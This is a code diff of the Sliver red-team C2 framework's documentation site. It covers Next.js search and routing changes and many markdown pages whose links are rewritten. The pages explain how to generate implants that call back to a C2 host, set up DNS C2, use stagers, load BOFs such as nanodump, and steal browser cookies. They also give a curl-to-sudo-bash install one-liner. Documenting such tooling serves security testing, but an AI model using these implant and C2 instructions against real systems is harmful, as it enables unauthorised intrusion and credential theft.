"@fortawesome/react-fontawesome"; import { NextUIProvider } from "@nextui-org/react"; import { HydrationBoundary, @@ -12,6 +16,7 @@ import type { AppProps } from "next/app"; import React from "react"; export default function App({ Component, pageProps }: AppProps) { + // Initialize theme const { theme, setTheme } = useTheme(); function getThemeState(): Themes { if (typeof window !== "undefined") { @@ -22,15 +27,66 @@ export default function App({ Component, pageProps }: AppProps) { return Themes.DARK; } + // Initialize search + const [search, setSearch] = React.useState(new SearchCtx()); + + // Initialize query client const [queryClient] = React.useState(() => new QueryClient()); + queryClient.prefetchQuery({ + queryKey: ["docs"], + queryFn: async (): Promise => { + const res = await fetch("/docs.json"); + const docs: Docs = await res.json(); + search.addDocs(docs); + return docs; + }, + }); return ( - - + + + +
    + +
    diff --git a/docs/sliver-docs/pages/_document.tsx b/docs/sliver-docs/pages/_document.tsx index 6e5aa92039..f4066f7c83 100644 --- a/docs/sliver-docs/pages/_document.tsx +++ b/docs/sliver-docs/pages/_document.tsx @@ -2,7 +2,7 @@ import Document, { Head, Html, Main, NextScript } from "next/document"; import React from "react"; // This generates the https: and wss: "connect-src" directives based on the above backends list so its a little easier to edit. -const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self' data: https://user-images.githubusercontent.com https://i.imgur.com; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`; +const CSP = `default-src 'none'; script-src 'self' 'unsafe-eval'; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self'; connect-src 'self'`; class MyDocument extends Document { static async getInitialProps(ctx: any) { @@ -17,6 +17,7 @@ class MyDocument extends Document { return ( + Sliver Docs diff --git a/docs/sliver-docs/pages/docs/index.tsx b/docs/sliver-docs/pages/docs/index.tsx index 7967e67d84..9a1117c33e 100644 --- a/docs/sliver-docs/pages/docs/index.tsx +++ b/docs/sliver-docs/pages/docs/index.tsx @@ -1,5 +1,5 @@ -import CodeViewer, { CodeSchema } from "@/components/code"; -import { frags } from "@/util/frags"; +import MarkdownViewer from "@/components/markdown"; +import { Docs } from "@/util/docs"; import { Themes } from "@/util/themes"; import { faSearch } from "@fortawesome/free-solid-svg-icons"; import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; @@ -11,27 +11,20 @@ import { Input, Listbox, ListboxItem, + ScrollShadow, } from "@nextui-org/react"; import { useQuery } from "@tanstack/react-query"; import Fuse from "fuse.js"; import { NextPage } from "next"; import { useTheme } from "next-themes"; -import Image from "next/image"; +import Head from "next/head"; +import { useSearchParams } from "next/navigation"; +import { useRouter } from "next/router"; import React from "react"; -import Markdown from "react-markdown"; -import remarkGfm from "remark-gfm"; - -type Doc = { - name: string; - content: string; -}; - -type Docs = { - docs: Doc[]; -}; const DocsIndexPage: NextPage = () => { const { theme } = useTheme(); + const router = useRouter(); const { data: docs, isLoading } = useQuery({ queryKey: ["docs"], @@ -41,25 +34,15 @@ const DocsIndexPage: NextPage = () => { }, }); - const [name, _setName] = React.useState(decodeURI(frags.get("name") || "")); - const setName = (name: string) => { - frags.set("name", name); - _setName(name); - }; - const [markdown, setMarkdown] = React.useState( - name === "" - ? docs?.docs[0].content - : docs?.docs.find((doc) => doc.name === name)?.content || "" - ); + const params = useSearchParams(); + const [name, setName] = React.useState(""); + const [markdown, setMarkdown] = React.useState(""); + React.useEffect(() => { - if (docs && name !== "") { - setMarkdown(docs?.docs.find((doc) => doc.name === name)?.content); - } - if (docs && name === "" && docs.docs.length > 0) { - setName(docs.docs[0].name); - setMarkdown(docs.docs[0].content); - } - }, [docs, name]); + const _name = params.get("name"); + setName(_name || ""); + setMarkdown(docs?.docs.find((doc) => doc.name === _name)?.content || ""); + }, [params, docs]); const [filterValue, setFilterValue] = React.useState(""); const fuse = React.useMemo(() => { @@ -78,127 +61,89 @@ const DocsIndexPage: NextPage = () => { return docs?.docs || []; }, [docs, fuse, filterValue]); + const listboxClasses = React.useMemo(() => { + if (theme === Themes.DARK) { + return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"; + } else { + return "border p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium"; + } + }, [theme]); + if (isLoading || !docs) { return
    Loading...
    ; } return (
    -
    -
    + + Sliver Docs: {name} + +
    +
    setFilterValue("")} - placeholder="Type to filter..." + placeholder="Filter..." startContent={} value={filterValue} onChange={(e) => setFilterValue(e.target.value)} + isClearable={true} + onClear={() => setFilterValue("")} />
    - - {visibleDocs.map((doc) => ( - { - setName(doc.name); - setMarkdown(doc.content); + +
    + - {doc.name} - - ))} - + {visibleDocs.map((doc) => ( + { + router.push({ + pathname: "/docs", + query: { name: doc.name }, + }); + }} + > + {doc.name} + + ))} + +
    +
    - - - {name} - - - - {children}
    ; - } - return ( -
    -                      {children}
    -                    
    - ); - }, - - img(props) { - const { src, alt, ...rest } = props; - return ( - // @ts-ignore - {alt - ); - }, - - code(props) { - const { children, className, node, ...rest } = props; - const langTag = /language-(\w+)/.exec(className || ""); - const lang = langTag ? langTag[1] : "plaintext"; - if (lang === "plaintext") { - return ( - - {children} - - ); - } - return ( - - ); - }, - }} - > - {markdown} - - - + {name !== "" ? ( + + + {name} + + + + + + + ) : ( +
    +
    +
    + Welcome to the Sliver Wiki! +
    + Please select a document +
    +
    +
    +
    + )}
    ); diff --git a/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md b/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md index 65658e6c56..b85e2f9365 100644 --- a/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md +++ b/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md @@ -1,4 +1,4 @@ -Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory). +Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](/docs?name=Armory). #### Aliases Command Parsing @@ -151,7 +151,7 @@ Sliver - 3rd Party extensions: To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above. -As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) section, to understand how shared libraries are loaded on all platforms. +As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](/docs?name=Third+Party+Tools) section, to understand how shared libraries are loaded on all platforms. ## Extensions diff --git a/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md b/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md index af6fb8f407..55f1c9dd6a 100644 --- a/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md +++ b/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md @@ -1,4 +1,4 @@ -The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](https://github.com/BishopFox/sliver/wiki/Stagers). +The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](/docs?name=Stagers). Here are some external resources for anti-virus evasion: diff --git a/docs/sliver-docs/pages/docs/md/Architecture.md b/docs/sliver-docs/pages/docs/md/Architecture.md index b749f5e93c..939d7fd301 100644 --- a/docs/sliver-docs/pages/docs/md/Architecture.md +++ b/docs/sliver-docs/pages/docs/md/Architecture.md @@ -26,7 +26,3 @@ There are four major components to the Sliver ecosystem: ``` By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode. - -## Sliver Server - -WIP diff --git a/docs/sliver-docs/pages/docs/md/Armory.md b/docs/sliver-docs/pages/docs/md/Armory.md index 376b51cb3c..9d07c74f92 100644 --- a/docs/sliver-docs/pages/docs/md/Armory.md +++ b/docs/sliver-docs/pages/docs/md/Armory.md @@ -2,7 +2,7 @@ The armory is the Sliver Alias and Extension package manager (introduced in Sliv The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension. -Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode). +Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode). As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to. diff --git a/docs/sliver-docs/pages/docs/md/Audit Log.md b/docs/sliver-docs/pages/docs/md/Audit Log.md index d7038d36ba..298d88e799 100644 --- a/docs/sliver-docs/pages/docs/md/Audit Log.md +++ b/docs/sliver-docs/pages/docs/md/Audit Log.md @@ -1,6 +1,6 @@ Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command. -By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets) environment variable. +By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment-Variables#assets) environment variable. #### Parsing Audit Logs diff --git a/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md b/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md index 4bbd20e465..abd734c0cc 100644 --- a/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md +++ b/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md @@ -2,9 +2,9 @@ Sliver v1.5 and later support the loading and execution of BOFs and COFFs, gener ### BOF Extensions -BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](https://github.com/BishopFox/sliver/wiki/Armory). +BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](/docs?name=Armory). -The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory) package manager: +The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](/docs?name=Armory) package manager: **IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it. @@ -114,6 +114,6 @@ Looking at the script we can see the BOF requires a single integer argument. The Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed. -More details can be found on the [Aliases & Extensions](https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions) page. +More details can be found on the [Aliases & Extensions](/docs?name=Aliases+and+Extensions) page. **IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension. diff --git a/docs/sliver-docs/pages/docs/md/Configuration Files.md b/docs/sliver-docs/pages/docs/md/Configuration Files.md index 6166f4c778..8363954e70 100644 --- a/docs/sliver-docs/pages/docs/md/Configuration Files.md +++ b/docs/sliver-docs/pages/docs/md/Configuration Files.md @@ -1,8 +1,6 @@ -# Server Configuration - ### General Server Configuration -Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below: +Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below: #### Default Server Config @@ -23,7 +21,7 @@ Starting in version 1.0.0 the Sliver server has a configuration file located the #### Configuration Options -- `daemon_mode` - Enable [daemon mode](https://github.com/BishopFox/sliver/wiki/Daemon-Mode) +- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode) - `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`. - `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces. - `port` - TCP port to bind the `deamon_mode` client listener to. @@ -70,7 +68,7 @@ Starting in version v1.1.0 Sliver supports SQL database configurations, by defau ### Operator -Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`: +Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](/docs?name=Multi-player+Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`: ```json { diff --git a/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md b/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md index 06fbbacff5..e16ab860bf 100644 --- a/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md +++ b/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md @@ -2,7 +2,7 @@ Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console. -Sliver v1.5.30 and later also support [External Builders](https://github.com/BishopFox/sliver/wiki/External-Builders), which can be used to easily cross-compile implants. +Sliver v1.5.30 and later also support [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants. ## From Linux to MacOS/Windows @@ -12,13 +12,13 @@ To compile Windows shared library and shellcode implants from Linux, install min sudo apt install mingw-w64 ``` -To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross. +To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross. **NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`. An example deployment is shown below, you have to procure the `MacOSX11.1.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details): -``` +```shell sudo apt-get install -y git curl libssl-dev cmake liblzma-dev libxml2-dev patch clang zlib1g-dev git clone https://github.com/tpoechtrager/osxcross.git /opt/osxcross curl -o /opt/osxcross/tarballs/MacOSX11.1.sdk.tar.xz 'https://example.com/MacOSX11.1.sdk.tar.xz' @@ -26,25 +26,31 @@ cd /opt/osxcross UNATTENDED=1 ./build.sh ``` -Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). +Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables). ## From MacOS to Linux/Windows To compile Windows shared library and shellcode implants from MacOS install mingw from brew: -``` +```` + brew install mingw-w64 + ``` For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew: ``` + brew install FiloSottile/musl-cross/musl-cross brew install mingw-w64 + ``` -I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). +I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables). ## From Windows to MacOS/Linux Good luck. +``` +```` diff --git a/docs/sliver-docs/pages/docs/md/Cursed.md b/docs/sliver-docs/pages/docs/md/Cursed.md index 0f1b27be94..29ee6ff676 100644 --- a/docs/sliver-docs/pages/docs/md/Cursed.md +++ b/docs/sliver-docs/pages/docs/md/Cursed.md @@ -26,7 +26,7 @@ The `cursed electron` command can be used to restart an Electron application wit ## Cursed Console -The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](https://user-images.githubusercontent.com/875022/188246398-97e5c7dd-1c21-4aeb-a57e-222fda826e66.png) +The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](/images/cursed-1.png) ## Cursed Cookies diff --git a/docs/sliver-docs/pages/docs/md/DNS C2.md b/docs/sliver-docs/pages/docs/md/DNS C2.md index d24eb10dc9..f98e5c529c 100644 --- a/docs/sliver-docs/pages/docs/md/DNS C2.md +++ b/docs/sliver-docs/pages/docs/md/DNS C2.md @@ -12,7 +12,7 @@ Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you **IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol! The final configuration should look like for the domain `lil-peep.rip`: -![DNS Configuration](https://i.imgur.com/hpOnGJp.png) +![DNS Configuration](/images/dns-c2-1.png) **IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs. @@ -59,7 +59,7 @@ nameserver 8.8.8.8 # Under the Hood -**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption), this is just about how do we move bytes back and forth. +**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption), this is just about how do we move bytes back and forth. ### Design Goals diff --git a/docs/sliver-docs/pages/docs/md/Daemon Mode.md b/docs/sliver-docs/pages/docs/md/Daemon Mode.md index 0ad304b4af..fab800c6da 100644 --- a/docs/sliver-docs/pages/docs/md/Daemon Mode.md +++ b/docs/sliver-docs/pages/docs/md/Daemon Mode.md @@ -1,4 +1,4 @@ -Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode). +Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode). There are two ways to start the server in daemon mode: @@ -25,4 +25,4 @@ $ cat ~/.sliver/configs/server.json #### systemd -With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) for an example. +With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example. diff --git a/docs/sliver-docs/pages/docs/md/External Builders.md b/docs/sliver-docs/pages/docs/md/External Builders.md index d455d92cc3..412b964133 100644 --- a/docs/sliver-docs/pages/docs/md/External Builders.md +++ b/docs/sliver-docs/pages/docs/md/External Builders.md @@ -24,7 +24,7 @@ External builders can also be used to create custom modifications to the implant #### Setup -Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) from the server you want to connect the builder to, for example: +Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](/docs?name=Multi-player+Mode) from the server you want to connect the builder to, for example: ``` ./sliver-server builder -c operator-multiplayer.cfg @@ -86,7 +86,7 @@ You are welcome to customize the implant source code under the terms of Sliver's 1. Fork the main Sliver Github repository 1. Make modifications to the source code -1. [Compile a Sliver server binary](https://github.com/BishopFox/sliver/wiki/Compile-From-Source) +1. [Compile a Sliver server binary](/docs?name=Compile+from+Source) 1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder 1. Operators can generate the customized implant builds via the `generate --external-builder` flag 1. Avoid making any changes to `/server` to make merging upstream easier if changes are introduced to the builder APIs diff --git a/docs/sliver-docs/pages/docs/md/Getting Started.md b/docs/sliver-docs/pages/docs/md/Getting Started.md index 9827cb8b45..062ab5e798 100644 --- a/docs/sliver-docs/pages/docs/md/Getting Started.md +++ b/docs/sliver-docs/pages/docs/md/Getting Started.md @@ -1,20 +1,28 @@ -**⚠️ NOTE:** This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial. - -## Server Setup - Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done. -Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode). +Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode). Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server. +For a Linux server, you can also use the one liner installation `curl https://sliver.sh/install|sudo bash` + +```asciinema +{"src": "/asciinema/install-1.cast", "cols": "132"} +``` + +If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctrl start sliver`): + +```asciinema +{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} +``` + #### System Requirements -The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](https://github.com/BishopFox/sliver/wiki/External-Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console. +The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console. ### MinGW Setup (Optional, Recommended) -In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). +In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](/docs?name=Environment+Variables). #### Linux (Debian-based) @@ -28,9 +36,9 @@ apt install git mingw-w64 brew install git mingw-w64 ``` -**Note:** On MacOS you may need to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW. +**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW. -See [cross-compiling implants](https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants) for more details. +See [cross-compiling implants](/docs?name=Cross-compiling+Implants) for more details. ### Metasploit Setup (Optional) @@ -38,7 +46,7 @@ We strongly recommend using the [nightly framework installers](https://github.co ## Implants: Beacon vs. Session -Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang. +Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang. Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol. @@ -52,23 +60,14 @@ Generating implants is done using the `generate` command, you must specify at le #### Session Mode -``` -[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop - -[*] Generating new windows/amd64 Sliver binary -[*] Build completed in 00:00:16 -[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe +```asciinema +{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"} ``` #### Beacon Mode -``` -[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop - -[*] Generating new windows/amd64 beacon implant binary (1m0s) -[*] Symbol obfuscation is enabled -[*] Build completed in 00:00:27 -[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe +```asciinema +{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"} ``` Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers. @@ -111,8 +110,8 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE For addition details about each C2 please see: -- [HTTP(S) C2]() -- [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2) +- [HTTP(S) C2](/docs?name=HTTPS+C2) +- [DNS C2](/docs?name=DNS+C2) ## Getting Shells @@ -153,7 +152,7 @@ sliver (LONG_DRAMATURGE) > ls LONG_DRAMATURGE 6.3 MiB ``` -If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant). +If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting), (TL;DR add the `--debug` flag when generating an implant). ### Interacting with Beacons @@ -244,9 +243,9 @@ sliver > generate --mtls foo.com,bar.com,baz.com --strategy r Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest: -- [Armory](https://sliver.sh/docs#name=Armory) -- [Stagers](https://sliver.sh/docs#name=Stagers) -- [Community Guides](https://sliver.sh/docs#name=Community%20Guides) -- [Port Forwarding](https://sliver.sh/docs#name=Port%20Forwarding) -- [Reverse SOCKS](https://sliver.sh/docs#name=Reverse%20SOCKS) -- [BOF/COFF Support](https://sliver.sh/docs#name=BOF%20and%20COFF%20Support) +- [Armory](/docs?name=Armory) +- [Stagers](/docs?name=Stagers) +- [Community Guides](/docs?name=Community%20Guides) +- [Port Forwarding](/docs?name=Port%20Forwarding) +- [Reverse SOCKS](/docs?name=Reverse%20SOCKS) +- [BOF/COFF Support](/docs?name=BOF%20and%20COFF%20Support) diff --git a/docs/sliver-docs/pages/docs/md/HTTPS C2.md b/docs/sliver-docs/pages/docs/md/HTTPS C2.md index 187d7ca9bd..d4d592a1da 100644 --- a/docs/sliver-docs/pages/docs/md/HTTPS C2.md +++ b/docs/sliver-docs/pages/docs/md/HTTPS C2.md @@ -67,7 +67,7 @@ The priority of retrieval is the following: #### NTLM/Kerberos Proxy Authentication -You can use [advanced options](https://github.com/BishopFox/sliver/wiki/C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice. +You can use [advanced options](/docs?name=C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice. ## Start the Listener @@ -109,7 +109,7 @@ By default when using the `https` listener Sliver will simply generate a random sliver > https --domain example.com --lets-encrypt ``` -This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If 